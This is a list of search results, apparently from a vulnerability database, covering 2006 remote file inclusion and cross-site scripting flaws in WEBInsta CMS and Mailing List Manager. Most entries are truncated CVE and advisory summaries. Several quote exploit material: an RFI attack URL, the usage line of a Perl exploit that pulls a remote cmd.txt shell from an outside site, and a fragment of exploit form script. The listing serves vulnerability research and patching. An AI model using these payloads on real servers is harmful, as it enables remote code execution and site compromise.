66 matches found
CVE-2006-4209
PHP remote file inclusion vulnerability in install3.php in WEBInsta Mailing List Manager 1.3e allows remote attackers to execute arbitrary PHP code via a URL in the cabsolutepath parameter...
CVE-2006-4196
CVE-2006-4196 affects WEBInsta CMS 0.3.1 and possibly earlier, where index.php fails to sanitize the templates_dir parameter before including PHP code. This enables a remote attacker to cause PHP code execution by supplying a crafted URL, effectively performing a remote file inclusion via the tem...
WEBInsta CMS 0.3.1 - users.php Remote File Inclusion
WEBInsta CMS 0.3.1 - users.php Remote File Inclusion / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...
WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================================== WEBInsta CMS = 0.3.1 users.php Remote File Include Vulnerability =================================================================== / Vulnerable product :...
WEBInsta MM 1.3e - absolute_path Remote File Inclusion
WEBInsta MM 1.3e - absolutepath Remote File Inclusion WEBInsta Mailing List Manager = 1.3e initdb.php Remote File Include Exploit function milw0rm if document.exploit.target.value=="" alert"Enter a Target"; return false; exploit.action= document.exploit.target.value;...
WEBInsta CMS 0.3.1 - 'users.php' Remote File Inclusion
/ Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...
WEBInsta MM 1.3e - 'absolute_path' Remote File Inclusion
WEBInsta Mailing List Manager = 1.3e initdb.php Remote File Include Exploit function milw0rm if document.exploit.target.value=="" alert"Enter a Target"; return false; exploit.action= document.exploit.target.value; exploit.cmd.value=document.exploit.cmd.value;...
WEBInsta Mailing list manager (cabsolute_path) 1.3e RFI
+-------------------------------------------------------------------- + + WEBInsta Mailing list manager cabsolutepath 1.3e RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/+ WEBInstaMailinglistmanagercabsolutepath1.3eRFI.htm +...
WEBInsta CMS index.php templates_dir Parameter Remote File Inclusion
The remote host is running WEBInsta CMS, a content management system written in PHP. The version of WEBInsta CMS installed on the remote host fails to sanitize user-supplied input to the 'templatesdir' parameter of the 'index.php' script before using it to include PHP code. Regardless of PHP's...
[ECHO_ADV_45$2006] WEBinsta CMS 0.3.1 (templates_dir) Remote File Inclusion Vulnerability
ECHOADV45$2006 ----------------------------------------------------------------------------------------- ECHOADV45$2006 WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...
WEBInsta CMS 0.3.1 - templates_dir Remote File Inclusion
WEBInsta CMS 0.3.1 - templatesdir Remote File Inclusion !/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell...
WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion
!/usr/bin/perl WEBinsta CMS 0.3.1 templatesdir Remote File Inclusion Exploit Bug Found & code By K-159 echo.or.id c 2006 usage: perl WEBinsta.pl perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|sta...
WEBinsta CMS <= 0.3.1 (templates_dir) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================= WEBinsta CMS perl WEBinsta.pl http://target.com/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Greetz: My Dearest Wife - ping, echo|staff...
WEBinsta Mailing List Manager 1.3 - Install3.php Remote File Inclusion
WEBinsta Mailing List Manager 1.3 - Install3.php Remote File Inclusion source: https://www.securityfocus.com/bid/19477/info WEBinsta Mailing List Manager is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue t...
WEBInsta MM 1.3e (cabsolute_path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================================== WEBInsta MM 1.3e cabsolutepath Remote File Include Vulnerability ===================================================================...
WEBInsta MM 1.3e - cabsolute_path Remote File Inclusion
WEBInsta MM 1.3e - cabsolutepath Remote File Inclusion +-------------------------------------------------------------------- + + WEBInsta Mailing list manager 1.3e cabsolutepath RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/ +...
WEBInsta MM 1.3e - 'cabsolute_path' Remote File Inclusion
+-------------------------------------------------------------------- + + WEBInsta Mailing list manager 1.3e cabsolutepath RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/311/org/ + WEBInstaMailinglistmanagercabsolutepath1.3eRFI.htm +...
CVE-2006-0934
Cross-site scripting XSS vulnerability in webinsta Limbo 1.0.4.2 allows remote attackers to inject arbitrary web script or HTML via the message field in the Contact Form...
Cross site scripting
Cross-site scripting XSS vulnerability in webinsta Limbo 1.0.4.2 allows remote attackers to inject arbitrary web script or HTML via the message field in the Contact Form...